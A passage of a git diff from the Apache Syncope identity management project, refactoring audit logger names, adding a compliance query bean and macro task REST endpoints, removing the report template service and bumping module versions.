+104,7 @@ public static Pair parseEventCategory(final String event) * @param category event category. * @param subcategory event subcategory. * @param event event. - * @param condition result value condition. + * @param result result value condition. * @return event string. */ public static String buildEvent( @@ -213,7 +112,7 @@ public static String buildEvent( final String category, final String subcategory, final String event, - final AuditElements.Result condition) { + final AuditElements.Result result) { StringBuilder eventBuilder = new StringBuilder(); @@ -234,13 +133,98 @@ public static String buildEvent( eventBuilder.append(event); } eventBuilder.append(']'); - - if (condition != null) { - eventBuilder.append(":["). - append(condition). - append(']'); + if (result != null) { + eventBuilder.append(":[").append(result).append(']'); } return eventBuilder.toString(); } + + private final EventCategoryType type; + + private final String category; + + private final String subcategory; + + private final String event; + + private final Result result; + + @JsonCreator + public AuditLoggerName( + @JsonProperty("type") final AuditElements.EventCategoryType type, + @JsonProperty("category") final String category, + @JsonProperty("subcategory") final String subcategory, + @JsonProperty("event") final String event, + @JsonProperty("result") final Result result) { + + super(); + + this.type = Optional.ofNullable(type).orElse(EventCategoryType.CUSTOM); + this.category = category; + this.subcategory = subcategory; + this.event = event; + this.result = Optional.ofNullable(result).orElse(Result.SUCCESS); + } + + public AuditElements.EventCategoryType getType() { + return type; + } + + public String getEvent() { + return event; + } + + public String getCategory() { + return category; + } + + public Result getResult() { + return result; + } + + public String getSubcategory() { + return subcategory; + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(type). + append(category). + append(subcategory). + append(event). + append(result). + build(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + final AuditLoggerName other = (AuditLoggerName) obj; + return new EqualsBuilder(). + append(type, other.type). + append(category, other.category). + append(subcategory, other.subcategory). + append(event, other.event). + append(result, other.result). + build(); + } + + @Override + public String toString() { + return buildEvent(type, category, subcategory, event, result); + } + + public String toAuditKey() { + return AUDIT_PREFIX + "." + toString(); + } } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/EntityViolationType.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/EntityViolationType.java index 513a0a1dbb2..5891f4a77f2 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/EntityViolationType.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/EntityViolationType.java @@ -25,6 +25,7 @@ public enum EntityViolationType { InvalidADynMemberships, InvalidConnInstanceLocation, InvalidConnPoolConf, + InvalidFormPropertyDef, InvalidMapping, InvalidKey, InvalidName, diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java index ed84d42e6df..1fc48fe143e 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoEntitlement.java @@ -38,7 +38,7 @@ public final class IdRepoEntitlement { public static final String DOMAIN_DELETE = "DOMAIN_DELETE"; - public static final String REALM_LIST = "REALM_LIST"; + public static final String REALM_SEARCH = "REALM_SEARCH"; public static final String REALM_CREATE = "REALM_CREATE"; diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoImplementationType.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoImplementationType.java index 21df4a1b7e0..581d1d289d0 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoImplementationType.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/IdRepoImplementationType.java @@ -23,39 +23,37 @@ public final class IdRepoImplementationType { - public static final String JWT_SSO_PROVIDER = "JWT_SSO_PROVIDER"; - - public static final String REPORTLET = "REPORTLET"; - public static final String ACCOUNT_RULE = "ACCOUNT_RULE"; public static final String PASSWORD_RULE = "PASSWORD_RULE"; public static final String TASKJOB_DELEGATE = "TASKJOB_DELEGATE"; + public static final String REPORT_DELEGATE = "REPORT_DELEGATE"; + public static final String LOGIC_ACTIONS = "LOGIC_ACTIONS"; - public static final String VALIDATOR = "VALIDATOR"; + public static final String MACRO_ACTIONS = "MACRO_ACTIONS"; + + public static final String ATTR_VALUE_VALIDATOR = "ATTR_VALUE_VALIDATOR"; public static final String COMMAND = "COMMAND"; public static final String RECIPIENTS_PROVIDER = "RECIPIENTS_PROVIDER"; - public static final String AUDIT_APPENDER = "AUDIT_APPENDER"; - public static final String ITEM_TRANSFORMER = "ITEM_TRANSFORMER"; private static final Map VALUES = Map.ofEntries( - Pair.of(JWT_SSO_PROVIDER, "org.apache.syncope.core.spring.security.JWTSSOProvider"), - Pair.of(REPORTLET, "org.apache.syncope.core.persistence.api.dao.Reportlet"), - Pair.of(ACCOUNT_RULE, "org.apache.syncope.core.persistence.api.dao.AccountRule"), - Pair.of(PASSWORD_RULE, "org.apache.syncope.core.persistence.api.dao.PasswordRule"), + Pair.of(ACCOUNT_RULE, "org.apache.syncope.core.provisioning.api.rules.AccountRule"), + Pair.of(PASSWORD_RULE, "org.apache.syncope.core.provisioning.api.rules.PasswordRule"), Pair.of(TASKJOB_DELEGATE, "org.apache.syncope.core.provisioning.api.job.SchedTaskJobDelegate"), + Pair.of(REPORT_DELEGATE, "org.apache.syncope.core.provisioning.api.job.report.ReportJobDelegate"), Pair.of(LOGIC_ACTIONS, "org.apache.syncope.core.logic.api.LogicActions"), - Pair.of(VALIDATOR, "org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValueValidator"), - Pair.of(COMMAND, "org.apache.syncope.core.logic.api.Command"), + Pair.of(MACRO_ACTIONS, "org.apache.syncope.core.provisioning.api.macro.MacroActions"), + Pair.of(ATTR_VALUE_VALIDATOR, + "org.apache.syncope.core.persistence.api.attrvalue.validation.PlainAttrValueValidator"), + Pair.of(COMMAND, "org.apache.syncope.core.provisioning.api.macro.Command"), Pair.of(RECIPIENTS_PROVIDER, "org.apache.syncope.core.provisioning.api.notification.RecipientsProvider"), - Pair.of(AUDIT_APPENDER, "org.apache.syncope.core.logic.audit.AuditAppender"), Pair.of(ITEM_TRANSFORMER, "org.apache.syncope.core.provisioning.api.data.ItemTransformer")); public static Map values() { diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/PolicyType.java b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/PolicyType.java index e9a71bdd287..383a790c987 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/PolicyType.java +++ b/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/PolicyType.java @@ -40,6 +40,10 @@ public enum PolicyType { * How access policies should be defined. */ ACCESS, + /** + * Controls expiration of access tickets. + */ + TICKET_EXPIRATION, /** * For handling propagation behavior. */ diff --git a/common/idrepo/lib/src/test/java/org/apache/syncope/common/lib/types/AuditLoggerNameTest.java b/common/idrepo/lib/src/test/java/org/apache/syncope/common/lib/types/AuditLoggerNameTest.java new file mode 100644 index 00000000000..582068c794e --- /dev/null +++ b/common/idrepo/lib/src/test/java/org/apache/syncope/common/lib/types/AuditLoggerNameTest.java @@ -0,0 +1,36 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +import static org.junit.jupiter.api.Assertions.assertEquals; + +import org.junit.jupiter.api.Test; + +class AuditLoggerNameTest { + + @Test + void custom() { + AuditLoggerName aln = new AuditLoggerName( + AuditElements.EventCategoryType.CUSTOM, null, null, "MY_EVENT", AuditElements.Result.SUCCESS); + assertEquals("syncope.audit.[CUSTOM]:[]:[]:[MY_EVENT]:[SUCCESS]", aln.toAuditKey()); + assertEquals("[CUSTOM]:[]:[]:[MY_EVENT]:[SUCCESS]", aln.toString()); + + assertEquals(aln, AuditLoggerName.fromAuditKey(aln.toAuditKey())); + } +} diff --git a/common/idrepo/pom.xml b/common/idrepo/pom.xml index 4de5143cf7f..10305e69146 100644 --- a/common/idrepo/pom.xml +++ b/common/idrepo/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope syncope-common - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdRepo diff --git a/common/idrepo/rest-api/pom.xml b/common/idrepo/rest-api/pom.xml index 143ab0ac21e..0172dce2ea4 100644 --- a/common/idrepo/rest-api/pom.xml +++ b/common/idrepo/rest-api/pom.xml @@ -24,7 +24,7 @@ under the License. org.apache.syncope.common syncope-common-idrepo - 3.0.1-SNAPSHOT + 3.0.17-SNAPSHOT Apache Syncope Common IdRepo REST API diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/batch/BatchPayloadParser.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/batch/BatchPayloadParser.java index d64509a1dd0..0e61c87f1c8 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/batch/BatchPayloadParser.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/batch/BatchPayloadParser.java @@ -146,7 +146,7 @@ private static void consumeHeaders(final List bodyPart, final } else if (item instanceof BatchResponseItem) { BatchResponseItem bri = BatchResponseItem.class.cast(item); try { - bri.setStatus(Integer.valueOf(StringUtils.substringBefore( + bri.setStatus(Integer.parseInt(StringUtils.substringBefore( StringUtils.substringAfter(currentLine.toString(), " "), " ").trim())); } catch (NumberFormatException e) { LOG.error("Invalid value found in response for HTTP status", e); @@ -197,10 +197,8 @@ public static List parse( LOG.debug("Body part:\n{}", bodyPart); T item = SerializationUtils.clone(template); - consumeHeaders(bodyPart, item); - item.setContent( - bodyPart.stream().map(BatchPayloadLine::toString).collect(Collectors.joining())); + item.setContent(bodyPart.stream().map(BatchPayloadLine::toString).collect(Collectors.joining())); return item; }).collect(Collectors.toList()); diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/ComplianceQuery.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/ComplianceQuery.java new file mode 100644 index 00000000000..15bf953482c --- /dev/null +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/ComplianceQuery.java @@ -0,0 +1,155 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.rest.api.beans; + +import com.fasterxml.jackson.annotation.JsonIgnore; +import java.io.Serializable; +import java.util.Collection; +import java.util.HashSet; +import java.util.List; +import java.util.Set; +import org.apache.commons.lang3.StringUtils; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; + +public class ComplianceQuery implements Serializable { + + private static final long serialVersionUID = -7324275079761880426L; + + public static class Builder { + + private final ComplianceQuery instance = new ComplianceQuery(); + + public Builder username(final String username) { + instance.setUsername(username); + return this; + } + + public Builder password(final String password) { + instance.setPassword(password); + return this; + } + + public Builder realm(final String realm) { + instance.setRealm(realm); + return this; + } + + public ComplianceQuery build() { + return instance; + } + + public Builder resource(final String resource) { + if (resource != null) { + instance.getResources().add(resource); + } + return this; + } + + public Builder resources(final String... resources) { + instance.getResources().addAll(List.of(resources)); + return this; + } + + public Builder resources(final Collection resources) { + if (resources != null) { + instance.getResources().addAll(resources); + } + return this; + } + } + + private String username; + + private String password; + + private String realm; + + private Set resources = new HashSet<>(); + + public String getUsername() { + return username; + } + + public void setUsername(final String username) { + this.username = username; + } + + public String getPassword() { + return password; + } + + public void setPassword(final String password) { + this.password = password; + } + + public String getRealm() { + return realm; + } + + public void setRealm(final String realm) { + this.realm = realm; + } + + public Set getResources() { + return resources; + } + + public void setResources(final Set resources) { + this.resources = resources; + } + + @JsonIgnore + public boolean isEmpty() { + if (StringUtils.isBlank(username) && StringUtils.isBlank(password)) { + return true; + } + return StringUtils.isEmpty(realm) && resources.isEmpty(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + ComplianceQuery other = (ComplianceQuery) obj; + return new EqualsBuilder(). + append(username, other.username). + append(password, other.password). + append(realm, other.realm). + append(resources, other.resources). + build(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(username). + append(password). + append(realm). + append(resources). + build(); + } +} diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/RealmQuery.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/RealmQuery.java index 7bdf463ca88..fe65db7a4b1 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/RealmQuery.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/beans/RealmQuery.java @@ -18,37 +18,54 @@ */ package org.apache.syncope.common.rest.api.beans; -import java.io.Serializable; +import java.util.Collection; +import java.util.HashSet; +import java.util.Optional; +import java.util.Set; +import java.util.stream.Collectors; +import java.util.stream.Stream; import javax.ws.rs.QueryParam; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; -public class RealmQuery implements Serializable { +public class RealmQuery extends AbstractQuery { private static final long serialVersionUID = -2278419397595186866L; - public static class Builder { + public static class Builder extends AbstractQuery.Builder { - private final RealmQuery instance = new RealmQuery(); + @Override + protected RealmQuery newInstance() { + return new RealmQuery(); + } public Builder keyword(final String keyword) { - instance.setKeyword(keyword); + getInstance().setKeyword(keyword); return this; } - public Builder base(final String base) { - instance.setBase(base); + public Builder base(final String... bases) { + if (bases != null) { + Set b = Optional.ofNullable(getInstance().getBases()).orElseGet(HashSet::new); + b.addAll(Stream.of(bases).collect(Collectors.toSet())); + getInstance().setBases(b); + } return this; } - public RealmQuery build() { - return instance; + public Builder bases(final Collection bases) { + if (bases != null) { + Set b = Optional.ofNullable(getInstance().getBases()).orElseGet(HashSet::new); + b.addAll(bases); + getInstance().setBases(b); + } + return this; } } private String keyword; - private String base; + private Set bases; public String getKeyword() { return keyword; @@ -59,13 +76,13 @@ public void setKeyword(final String keyword) { this.keyword = keyword; } - public String getBase() { - return base; + public Set getBases() { + return bases; } - @QueryParam("base") - public void setBase(final String base) { - this.base = base; + @QueryParam("bases") + public void setBases(final Set bases) { + this.bases = bases; } @Override @@ -83,7 +100,7 @@ public boolean equals(final Object obj) { return new EqualsBuilder(). appendSuper(super.equals(obj)). append(keyword, other.keyword). - append(base, other.base). + append(bases, other.bases). build(); } @@ -92,7 +109,7 @@ public int hashCode() { return new HashCodeBuilder(). appendSuper(super.hashCode()). append(keyword). - append(base). + append(bases). build(); } } diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AnyObjectService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AnyObjectService.java index 4d45e142027..cf232d2203a 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AnyObjectService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/AnyObjectService.java @@ -30,9 +30,11 @@ import io.swagger.v3.oas.annotations.tags.Tag; import javax.validation.constraints.NotNull; import javax.ws.rs.Consumes; +import javax.ws.rs.GET; import javax.ws.rs.PATCH; import javax.ws.rs.POST; import javax.ws.rs.Path; +import javax.ws.rs.PathParam; import javax.ws.rs.Produces; import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; @@ -57,8 +59,7 @@ public interface AnyObjectService extends AnyService { @ApiResponses( @ApiResponse(responseCode = "200", description = - "Any object matching the provided key; if value looks like a UUID then it is interpreted as key," - + " otherwise as a name.", headers = + "Any object matching the provided key.", headers = @Header(name = HttpHeaders.ETAG, schema = @Schema(type = "string"), description = "Opaque identifier for the latest modification made to the entity returned" @@ -66,6 +67,18 @@ public interface AnyObjectService extends AnyService { @Override AnyObjectTO read(String key); + @ApiResponses( + @ApiResponse(responseCode = "200", description = + "Any object matching the provided type and name.", headers = + @Header(name = HttpHeaders.ETAG, schema = + @Schema(type = "string"), + description = "Opaque identifier for the latest modification made to the entity returned" + + " by this endpoint"))) + @GET + @Path("byName/{type}/{name}") + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + AnyObjectTO read(@NotNull @PathParam("type") String type, @NotNull @PathParam("name") String name); + @Override PagedResult search(AnyQuery anyQuery); diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/CommandService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/CommandService.java index 6fbef8a7b76..9a69775d825 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/CommandService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/CommandService.java @@ -18,6 +18,9 @@ */ package org.apache.syncope.common.rest.api.service; +import io.swagger.v3.oas.annotations.Parameter; +import io.swagger.v3.oas.annotations.enums.ParameterIn; +import io.swagger.v3.oas.annotations.media.Schema; import io.swagger.v3.oas.annotations.security.SecurityRequirement; import io.swagger.v3.oas.annotations.security.SecurityRequirements; import io.swagger.v3.oas.annotations.tags.Tag; @@ -61,6 +64,8 @@ public interface CommandService extends JAXRSService { * @param key command key * @return the command for the given key, if found */ + @Parameter(name = "key", description = "Command's key", in = ParameterIn.PATH, schema = + @Schema(type = "string")) @GET @Path("{key}") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) @@ -72,6 +77,8 @@ public interface CommandService extends JAXRSService { * @param command command to run, with arguments * @return command output */ + @Parameter(name = "key", description = "Command's key", in = ParameterIn.PATH, schema = + @Schema(type = "string")) @POST @Path("{key}") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/RealmService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/RealmService.java index 6bd697212f6..42779176a34 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/RealmService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/RealmService.java @@ -28,7 +28,6 @@ import io.swagger.v3.oas.annotations.security.SecurityRequirement; import io.swagger.v3.oas.annotations.security.SecurityRequirements; import io.swagger.v3.oas.annotations.tags.Tag; -import java.util.List; import javax.validation.constraints.NotNull; import javax.ws.rs.BeanParam; import javax.ws.rs.Consumes; @@ -59,29 +58,15 @@ public interface RealmService extends JAXRSService { /** - * Returns a list of existing realms matching the given query (not including descendant realms) and the total number - * of descendant realms. + * Returns a paged list of existing realms matching the given query. * * @param query query conditions - * @return list of existing realms matching the given query (not including descendant realms) and the total number - * of descedant realms + * @return paged list of existing realms matching the given query */ @GET - @Path("search") @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) PagedResult search(@BeanParam RealmQuery query); - /** - * Returns realms rooted at the given path, including descendant realms. - * - * @param fullPath full path of the root realm where to read from - * @return realms rooted at the given path, including descendant realms - */ - @GET - @Path("{fullPath:.*}") - @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - List list(@NotNull @PathParam("fullPath") String fullPath); - /** * Creates a new realm under the given path. * diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportService.java index 9f1bf296656..c790f710a48 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportService.java @@ -37,12 +37,10 @@ import javax.ws.rs.Path; import javax.ws.rs.PathParam; import javax.ws.rs.Produces; -import javax.ws.rs.QueryParam; import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; import org.apache.syncope.common.lib.to.ReportTO; -import org.apache.syncope.common.lib.types.ReportExecExportFormat; import org.apache.syncope.common.rest.api.RESTHeaders; /** @@ -126,13 +124,10 @@ public interface ReportService extends ExecutableService { * Exports the report execution with matching key in the requested format. * * @param executionKey key of execution report to be selected - * @param fmt file-format selection * @return a stream for content download */ @GET @Path("executions/{executionKey}/stream") @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - Response exportExecutionResult( - @NotNull @PathParam("executionKey") String executionKey, - @QueryParam("format") ReportExecExportFormat fmt); + Response exportExecutionResult(@NotNull @PathParam("executionKey") String executionKey); } diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportTemplateService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportTemplateService.java deleted file mode 100644 index 37474e9fc2d..00000000000 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/ReportTemplateService.java +++ /dev/null @@ -1,150 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one - * or more contributor license agreements. See the NOTICE file - * distributed with this work for additional information - * regarding copyright ownership. The ASF licenses this file - * to you under the Apache License, Version 2.0 (the - * "License"); you may not use this file except in compliance - * with the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, - * software distributed under the License is distributed on an - * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY - * KIND, either express or implied. See the License for the - * specific language governing permissions and limitations - * under the License. - */ -package org.apache.syncope.common.rest.api.service; - -import io.swagger.v3.oas.annotations.headers.Header; -import io.swagger.v3.oas.annotations.media.Schema; -import io.swagger.v3.oas.annotations.responses.ApiResponse; -import io.swagger.v3.oas.annotations.responses.ApiResponses; -import io.swagger.v3.oas.annotations.security.SecurityRequirement; -import io.swagger.v3.oas.annotations.security.SecurityRequirements; -import io.swagger.v3.oas.annotations.tags.Tag; -import java.io.InputStream; -import java.util.List; -import javax.validation.constraints.NotNull; -import javax.ws.rs.Consumes; -import javax.ws.rs.DELETE; -import javax.ws.rs.GET; -import javax.ws.rs.POST; -import javax.ws.rs.PUT; -import javax.ws.rs.Path; -import javax.ws.rs.PathParam; -import javax.ws.rs.Produces; -import javax.ws.rs.core.HttpHeaders; -import javax.ws.rs.core.MediaType; -import javax.ws.rs.core.Response; -import org.apache.syncope.common.lib.to.ReportTemplateTO; -import org.apache.syncope.common.lib.types.ReportTemplateFormat; -import org.apache.syncope.common.rest.api.RESTHeaders; - -/** - * REST operations for report templates. - */ -@Tag(name = "ReportTemplates") -@SecurityRequirements({ - @SecurityRequirement(name = "BasicAuthentication"), - @SecurityRequirement(name = "Bearer") }) -@Path("reportTemplates") -public interface ReportTemplateService extends JAXRSService { - - /** - * Returns a list of all report templates. - * - * @return list of all report templates. - */ - @GET - @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - List list(); - - /** - * Creates a new report template. - * - * @param reportTemplateTO Creates a new report template. - * @return Response object featuring Location header of created report template - */ - @ApiResponses( - @ApiResponse(responseCode = "201", - description = "ReportTemplate successfully created", headers = { - @Header(name = RESTHeaders.RESOURCE_KEY, schema = - @Schema(type = "string"), - description = "Key value for the entity created"), - @Header(name = HttpHeaders.LOCATION, schema = - @Schema(type = "string"), - description = "URL of the entity created") })) - @POST - @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - Response create(@NotNull ReportTemplateTO reportTemplateTO); - - /** - * Returns report template with matching key. - * - * @param key key of report template to be read - * @return report template with matching key - */ - @GET - @Path("{key}") - @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - ReportTemplateTO read(@NotNull @PathParam("key") String key); - - /** - * Deletes the report template matching the given key. - * - * @param key key for report template to be deleted - */ - @ApiResponses( - @ApiResponse(responseCode = "204", description = "Operation was successful")) - @DELETE - @Path("{key}") - @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) - void delete(@NotNull @PathParam("key") String key); - - /** - * Gets the template for the given key and format, if available. - * - * @param key report template - * @param format template format - * @return report template with matching key and format, if available - */ - @GET - @Path("{key}/{format}") - Response getFormat( - @NotNull @PathParam("key") String key, - @NotNull @PathParam("format") ReportTemplateFormat format); - - /** - * Sets the template for the given key and format, if available. - * - * @param key report template - * @param format template format - * @param templateIn template to be set - */ - @ApiResponses( - @ApiResponse(responseCode = "204", description = "Operation was successful")) - @PUT - @Path("{key}/{format}") - void setFormat( - @NotNull @PathParam("key") String key, - @NotNull @PathParam("format") ReportTemplateFormat format, - InputStream templateIn); - - /** - * Removes the template for the given key and format, if available. - * - * @param key report template - * @param format template format - */ - @ApiResponses( - @ApiResponse(responseCode = "204", description = "Operation was successful")) - @DELETE - @Path("{key}/{format}") - void removeFormat( - @NotNull @PathParam("key") String key, - @NotNull @PathParam("format") ReportTemplateFormat format); - -} diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SyncopeService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SyncopeService.java index 83fac13dc7e..f158da921b8 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SyncopeService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/SyncopeService.java @@ -142,9 +142,10 @@ PagedResult searchAssignableGroups( /** * Exports internal storage content as downloadable XML file. * + * @param tableThreshold the maximum number of rows to take for each table of internal storage * @return internal storage content as downloadable XML file */ @GET @Path("internalStorage/stream") - Response exportInternalStorageContent(); + Response exportInternalStorageContent(@QueryParam("tableThreshold") @DefaultValue("100") int tableThreshold); } diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/TaskService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/TaskService.java index 47b638565ed..a01ed2b6dab 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/TaskService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/TaskService.java @@ -44,12 +44,15 @@ import javax.ws.rs.core.HttpHeaders; import javax.ws.rs.core.MediaType; import javax.ws.rs.core.Response; +import org.apache.syncope.common.lib.form.SyncopeForm; +import org.apache.syncope.common.lib.to.ExecTO; import org.apache.syncope.common.lib.to.PagedResult; import org.apache.syncope.common.lib.to.SchedTaskTO; import org.apache.syncope.common.lib.to.TaskTO; import org.apache.syncope.common.lib.types.ExecStatus; import org.apache.syncope.common.lib.types.TaskType; import org.apache.syncope.common.rest.api.RESTHeaders; +import org.apache.syncope.common.rest.api.beans.ExecSpecs; import org.apache.syncope.common.rest.api.beans.TaskQuery; /** @@ -69,7 +72,7 @@ public interface TaskService extends ExecutableService { * @param key key of task to be read * @param details whether include executions or not, defaults to true * @param type of taskTO - * @return task with matching id + * @return task with matching key */ @GET @Path("{type}/{key}") @@ -161,4 +164,29 @@ Response purgePropagations( @QueryParam("since") OffsetDateTime since, @QueryParam("statuses") List statuses, @QueryParam("resources") List resources); + + /** + * Fetches the form to fill and submit for execution, for the given macro task (if defined). + * + * @param key macro task key + * @param locale form locale + * @return the form to fill and submit for execution, for the given macro task (if defined) + */ + @GET + @Path("MACRO/{key}/form") + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + SyncopeForm getMacroTaskForm(@NotNull @PathParam("key") String key, @NotNull @QueryParam("locale") String locale); + + /** + * Executes the macro task matching the given specs, with the provided form as input. + * + * @param specs conditions to exec + * @param macroTaskForm macro task form + * @return execution report for the macro task matching the given specs + */ + @POST + @Path("MACRO/{key}/execute") + @Consumes({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + @Produces({ MediaType.APPLICATION_JSON, RESTHeaders.APPLICATION_YAML, MediaType.APPLICATION_XML }) + ExecTO execute(@BeanParam ExecSpecs specs, SyncopeForm macroTaskForm); } diff --git a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserSelfService.java b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserSelfService.java index 8dc4e5448ad..a3312b1c69c 100644 --- a/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserSelfService.java +++ b/common/idrepo/rest-api/src/main/java/org/apache/syncope/common/rest/api/service/UserSelfService.java @@ -41,12 +41,14 @@ import 